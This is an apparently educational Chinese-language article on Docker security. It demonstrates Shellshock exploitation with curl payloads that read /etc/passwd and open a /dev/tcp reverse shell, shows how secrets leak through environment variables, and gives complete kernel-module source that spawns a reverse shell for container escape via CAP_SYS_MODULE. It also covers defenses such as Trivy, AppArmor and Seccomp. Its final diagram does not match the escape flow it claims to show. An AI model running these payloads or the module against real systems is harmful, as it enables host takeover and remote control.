破解容器迷思:深入解析 Docker 攻擊面與防禦策略

容器化技術的普及為軟體開發和佈署帶來了革命性的變革,但也引入了新的安全風險。我將以資深技術工作者的角度,帶您深入瞭解 Docker 容器的攻擊面,並提供實戰防禦策略,協助您構建更安全的容器化環境。

Docker 攻擊面解析

Docker 的運作機制決定了其潛在的攻擊面。錯誤的設定和使用習慣可能導致嚴重的安全漏洞。以下我將分析幾種常見的攻擊途徑:

1. 許可權提升

Docker 需要 root 許可權才能執行。任何屬於 docker 群組的使用者都能夠提升許可權至 root。在 Kubernetes 等容器協調系統中,這個風險會被放大。

上圖展示了攻擊者如何利用 Docker 群組使用者的許可權提升至 root,最終控制主機。

2. 遠端攻擊

暴露在外的 Docker Remote API 或存在漏洞的應用程式,都可能成為攻擊者的入口點。例如,一個存在遠端程式碼執行漏洞的 Web 應用程式,就可能讓攻擊者在容器內執行任意程式碼。

上圖説明瞭攻擊者如何利用遠端漏洞在容器內執行程式碼,進而控制容器。

3. 容器逃逸

攻擊者在控制容器後,可能嘗試利用系統漏洞或錯誤設定逃逸到主機系統。

上圖描述了攻擊者如何從已控制的容器中逃逸,最終控制主機系統。

4. 惡意映像檔

從不受信任的來源下載的映像檔可能包含惡意程式碼或後門。這些惡意映像檔一旦執行,就可能對系統造成嚴重威脅。

實戰案例:Shellshock 漏洞利用

Shellshock (CVE-2014-6271) 是一個 bash shell 中的嚴重漏洞。我將透過一個實際案例,演示如何利用 Shellshock 漏洞攻擊存在漏洞的 Docker 容器。

首先,我們從 Docker Hub 下載一個包含 Shellshock 漏洞的映像檔:

docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271

這條指令會下載並執行一個存在 Shellshock 漏洞的 Docker 映像檔,並將容器的 8080 埠對應到主機的 8080 埠。

接著,我們使用 curl 傳送特製的 HTTP 請求,觸發 Shellshock 漏洞並在容器內執行程式碼:

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://localhost:8080/cgi-bin/vulnerable

這個 curl 指令利用 Shellshock 漏洞,在容器內執行 cat /etc/passwd 指令,讀取 /etc/passwd 檔案的內容。

透過修改 Payload,我們甚至可以取得容器的反向 Shell:

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'" http://localhost:8080/cgi-bin/vulnerable

這個 curl 指令會在容器內建立一個反向 Shell,連線到攻擊者主機的 4444 埠。

在攻擊者主機上使用 netcat 監聽 4444 埠:

nc -lvc 4444

這個 netcat 指令會在攻擊者主機上監聽 4444 埠,等待來自容器的反向 Shell 連線。

成功連線後,攻擊者就能控制容器,並可能進一步嘗試逃逸到主機系統。

容器安全防禦策略

面對 Docker 容器的潛在風險,我們可以採取以下防禦策略:

  • 使用最小許可權原則: 避免將不必要的許可權授予容器或使用者。
  • 定期更新映像檔: 及時更新映像檔以修復已知漏洞。
  • 掃描映像檔漏洞: 使用漏洞掃描工具檢查映像檔是否存在安全風險。
  • 強化容器設定: 限制容器的資源使用,停用不必要的功能。
  • 監控容器活動: 實時監控容器的執行狀態,及時發現異常行為。
  • 實施網路安全政策: 使用防火牆和入侵偵測系統保護容器網路。

透過以上策略,我們可以有效降低 Docker 容器的安全風險,構建更安全的容器化環境。

持續學習和實踐是提升容器安全的重要途徑。關注最新的安全資訊,並將安全措施融入到容器化流程的每個環節,才能真正保障容器化環境的安全。

深入剖析 Docker 機密存取與安全防護

在現代軟體開發中,容器化技術已經成為不可或缺的一部分。Docker 作為容器化技術的長官者,其安全性也日益受到重視。本文將探討 Docker 機密存取的挑戰、常見漏洞以及如何利用自動化工具和安全功能構建更安全的 Docker 環境。

Docker 機密管理的挑戰與風險

機密管理一直是軟體開發中的一大難題。在 Docker 環境中,常見的錯誤做法是將機密資訊儲存在環境變數或程式碼中,這會帶來極大的安全風險。儘管有許多建議的機密儲存方法,例如使用 HashCorp Vault 等專業工具,但許多開發者仍然習慣將機密資訊直接儲存在環境變數中。

以下範例説明瞭這種做法的危險性:

危險的 Dockerfile 示範

FROM mysql/mysql-server:latest
ENV MYSQL_ROOT_PASSWORD=toor
ENV MYSQL_DATABASE=users
ENV MYSQL_USER=root
ENV MYSQL_PASSWORD=toor
ENV MYSQL_ROOT_HOST=mysql-db

這個 Dockerfile 將資料函式庫憑證直接寫入環境變數,一旦攻擊者獲得容器的存取許可權,就能輕易取得這些敏感資訊。

從容器內部存取機密

攻擊者進入容器後,只需執行 env 命令即可檢視所有環境變數,套件括資料函式庫憑證。

從主機存取機密

即使攻擊者沒有進入容器,只要擁有 Docker 主機的 root 許可權或屬於 Docker 群組,就能使用 docker inspect 命令檢視容器的環境變數,從而取得機密資訊。

docker inspect <container_name>

更精確地,可以使用以下命令只輸出環境變數:

docker inspect <container_name> -f "{{json .Config.Env}}"

這些範例清楚地展示了將機密資訊儲存在環境變數的風險。

利用自動化工具強化 Docker 安全

自動化安全評估工具可以幫助我們快速識別 Docker 環境中的潛在漏洞。以下介紹兩個常用的工具:

Trivy:簡潔高效的容器漏洞掃描器

Trivy 是一款開放原始碼的容器漏洞掃描器,適用於 CI/CD 流程中的安全整合。它可以掃描 Docker 映像檔,並提供詳細的漏洞資訊和摘要報告。

docker run --rm -v `pwd`:/root/.cache/ aquasec/trivy <image_name>

Trivy 會在掃描前自動更新漏洞資料函式庫,確保掃描結果的準確性。

Docker Bench Security:最佳實踐的檢驗標準

Docker Bench Security 是一個指令碼,用於檢查 Docker 容器佈署是否符合最佳實踐。它可以幫助我們發現設定錯誤和潛在的安全風險。

docker run -it --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /etc:/etc \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
--label docker_bench_security \
docker/docker-bench-security

透過 Docker Bench Security 的掃描結果,我們可以有針對性地修復安全漏洞,提升 Docker 環境的安全性。

AppArmor:構建更安全的容器環境

AppArmor 是一個 Linux 安全模組,可以限制容器的系統資源存取,從而提高容器的安全性。

檢查 AppArmor 狀態

首先,使用 docker info 命令確認 AppArmor 是否已啟用。

建立 AppArmor 設定檔

建立一個名為 apparmor-profile 的檔案,並加入以下內容:

#include <tunables/global>
Profile apparmor-profile
flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
file,
network,
capability,
deny /tmp/** w,
deny /etc/passwd rwklx,
}

這個 AppArmor 設定檔定義了一個名為 apparmor-profile 的設定檔,並包含了一些基本規則:

  • #include <tunables/global>#include <abstractions/base>:套件含預定義的 AppArmor 規則和巨集。
  • file, network, capability:允許容器存取檔案、網路和能力。
  • deny /tmp/** w:禁止容器在 /tmp 目錄下寫入檔案。
  • deny /etc/passwd rwklx:禁止容器讀取、寫入、執行、建立連結和修改 /etc/passwd 檔案。

這個設定檔限制了容器對 /tmp 目錄和 /etc/passwd 檔案的存取許可權,從而提高了容器的安全性。後續文章將會探討如何將此設定檔應用到 Docker 容器,以及更多 AppArmor 的進階用法。

(圖表説明)

此圖表展示了 AppArmor 如何提高 Docker 容器的安全性。AppArmor 設定檔限制了容器的資源存取,從而提高了安全性。

深入剖析 AppArmor 與 Seccomp:強化容器安全的利器

在容器化應用程式日益普及的今天,容器安全的重要性不言而喻。本文將探討兩種關鍵的 Linux 核心安全機制:AppArmor 和 Seccomp,並以實際案例展示如何利用它們構建更安全的容器環境。

AppArmor:精細控制檔案存取

AppArmor 就像容器的私人保鑣,能精準管控容器對檔案系統的存取許可權。它允許我們定義細粒度的規則,限制容器可以讀取、寫入或執行的檔案和目錄。

設定 AppArmor 規則

以下是一個簡單的 AppArmor 設定檔範例 (apparmor-profile):

#include <tunables/global>

profile apparmor-profile flags=(attach_disconnected) {
  # 允許讀取所有檔案
  file,

  # 拒絕寫入 /tmp/ 及其子目錄
  deny /tmp/** w,
  deny /etc/passwd w,
}

這個設定檔包含兩條 deny 規則:

  • deny /tmp/** w: 禁止容器寫入 /tmp/ 目錄及其所有子目錄。** 表格示比對所有子目錄和檔案。
  • deny /etc/passwd w: 禁止容器寫入 /etc/passwd 檔案。

載入 AppArmor 設定檔

在使用設定檔啟動容器之前,必須先將其載入到核心:

sudo apparmor_parser -r -W apparmor-profile

啟動容器並驗證

使用以下命令啟動啟用 AppArmor 的容器:

docker run -itd --security-opt apparmor=apparmor-profile alpine

進入容器後,嘗試以下操作驗證規則是否生效:

touch /tmp/file  # 應失敗
cat /etc/passwd # 應成功
cat /etc/shadow # 應成功 (未設定規則)

可以看到,AppArmor 成功阻止了對 /tmp/ 的寫入,但允許讀取 /etc/passwd/etc/shadow(因為沒有設定相關規則)。

Seccomp:系統呼叫防火牆

Seccomp 就像容器的系統呼叫守門員,能篩選容器允許執行的系統呼叫,有效降低攻擊面。

建立 Seccomp 設定檔

以下是一個簡單的 Seccomp 設定檔範例 (seccomp-profile.json):

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "architectures": [
    "SCMP_ARCH_X86_64",
    "SCMP_ARCH_X86",
    "SCMP_ARCH_X32"
  ],
  "syscalls": [
    {
      "name": "chmod",
      "action": "SCMP_ACT_ERRNO",
      "args": []
    }
  ]
}

此設定檔允許所有系統呼叫,除了 chmod

啟動容器並驗證

使用以下命令啟動啟用 Seccomp 的容器:

docker run -itd --security-opt seccomp=seccomp-profile.json alpine

進入容器後,嘗試以下操作驗證規則是否生效:

touch /tmp/testfile  # 應成功
chmod 400 /tmp/testfile # 應失敗
chown nobody /tmp/testfile # 應成功

可以看到,Seccomp 成功阻止了 chmod 系統呼叫,但允許 touchchown

特權模式下的 Seccomp

需要注意的是,--privileged 標誌會停用 Seccomp,即使指定了設定檔也無效。

Linux Capabilities:細粒度許可權管理

Linux Capabilities 將 root 使用者的特權分解成更小的單元,允許更精細地控制容器的許可權。預設情況下,Docker 會移除大部分 Capabilities,只保留必要的子集。

觀察容器 Capabilities

啟動一個普通容器和一個特權容器,並使用 capsh --print 命令觀察它們的 Capabilities 差異。可以發現,特權容器擁有的 Capabilities 明顯更多。

安全風險

過多的 Capabilities 會增加容器的攻擊面。例如,cap_sys_module 允許容器載入核心模組,這可能被攻擊者利用來控制主機系統。

從容器寫入核心網路網路空間:一個危險的案例

如果容器擁有 cap_sys_module 功能,攻擊者就能從容器內載入核心模組到主機核心,這是一個非常危險的安全漏洞。

(以下程式碼範例僅供演示,請勿在生產環境中使用)

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

static int __init docker_module_init(void) {
  printk(KERN_INFO "Docker module has been loaded\n");
  return 0;
}

static void __exit docker_module_exit(void) {
  printk(KERN_INFO "Docker module has been unloaded\n");
}

module_init(docker_module_init);
module_exit(docker_module_exit);

這個簡單的模組只會列印訊息,但在實際攻擊中,它可以被替換成惡意程式碼。

AppArmor、Seccomp 和 Linux Capabilities 是構建安全容器環境的重要工具。透過合理設定這些安全機制,可以有效限制容器的許可權,降低安全風險,保護主機系統的安全。在實踐中,應根據應用程式的需求,選擇合適的安全政策,並定期更新以應對新的威脅。

圖表範例:

以上圖表展示了 AppArmor、Seccomp 和 Linux Capabilities 如何共同作用,提升容器安全性。AppArmor 限制檔案存取,Seccomp 篩選系統呼叫,而 Capabilities 提供細粒度的許可權管理。

額外建議:

  • 使用最小許可權原則,只賦予容器必要的許可權。
  • 定期更新安全政策,以應對新的威脅。
  • 使用安全掃描工具,及早發現潛在漏洞。

希望這篇文章能幫助你更好地理解容器安全,並在實踐中構建更安全的容器化應用程式。

建立反向 Shell 核心模組

為了進一步探討惡意程式碼如何利用容器逃逸,我們將示範一個更具威脅性的核心模組。這個模組不僅僅在核心日誌中留下訊息,而是在載入時建立反向 shell 連線,賦予攻擊者對主機系統的控制權。

首先,建立一個名為 reverseshell_module 的目錄,並在其中建立 reverseshell_module.cMakefile 兩個檔案。

reverseshell_module.c 檔案內容如下:

#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

static char command[50] = "bash -i >& /dev/tcp/10.0.2.15/4444 0>&1"; // 注意:IP 位元址已修改
char* argv[] = {"/bin/bash","-c", command, NULL};
static char* envp[] = {"HOME=/",NULL};

static int __init connect_back_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit connect_back_exit(void){
    printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);

這個核心模組的核心功能是利用 call_usermodehelper 函式執行使用者空間的 /bin/bash 命令,並將輸入/輸出重定向到指定的 IP 位元址和埠號,建立反向 shell。

  • command 變數儲存了要執行的 bash 命令,其中包含重定向到 10.0.2.15:4444 的設定。(注意: 原文中的 IP 位元址 172.17.0.1 通常是 Docker bridge 網路的 IP,在實際攻擊場景中需要根據攻擊者主機的 IP 位元址修改。)
  • argv 陣列定義了傳遞給 call_usermodehelper 的引數,套件括要執行的程式 /bin/bash-c 引數以及 command 變數中的命令字串。
  • envp 陣列設定了執行環境,這裡設定了 HOME 環境變數。
  • connect_back_init 函式在模組載入時被呼叫,執行 call_usermodehelper 建立反向 shell。
  • connect_back_exit 函式在模組解除安裝時被呼叫,欄印 “Exiting” 訊息到核心日誌。

接著,建立 Makefile 檔案,內容如下:

obj-m += reverseshell_module.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

這個 Makefile 定義瞭如何編譯 reverseshell_module.c 檔案。

  • obj-m += reverseshell_module.o 指定要編譯的模組目標檔案。
  • all 目標執行編譯核心模組的命令。
  • clean 目標執行清理編譯產物的命令。

這個反向 shell 模組的設計思路是,攻擊者可以將其編譯後,透過先前介紹的方法,利用容器的 CAP_SYS_MODULE 能力載入到主機核心,從而獲得主機系統的 root 許可權。

這個案例突顯了 CAP_SYS_MODULE 能力的潛在危險性,以及容器逃逸攻擊的嚴重後果。在實際應用程式中,應盡量避免授予容器 CAP_SYS_MODULE 能力,並加強容器的安全設定,以降低被攻擊的風險。

以下流程圖展示了攻擊者如何利用此模組進行容器逃逸:

@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle

title 破解容器迷思:Docker攻防實戰技巧

package "Docker 架構" {
    actor "開發者" as dev

    package "Docker Engine" {
        component [Docker Daemon] as daemon
        component [Docker CLI] as cli
        component [REST API] as api
    }

    package "容器運行時" {
        component [containerd] as containerd
        component [runc] as runc
    }

    package "儲存" {
        database [Images] as images
        database [Volumes] as volumes
        database [Networks] as networks
    }

    cloud "Registry" as registry
}

dev --> cli : 命令操作
cli --> api : API 呼叫
api --> daemon : 處理請求
daemon --> containerd : 容器管理
containerd --> runc : 執行容器
daemon --> images : 映像檔管理
daemon --> registry : 拉取/推送
daemon --> volumes : 資料持久化
daemon --> networks : 網路配置

@enduml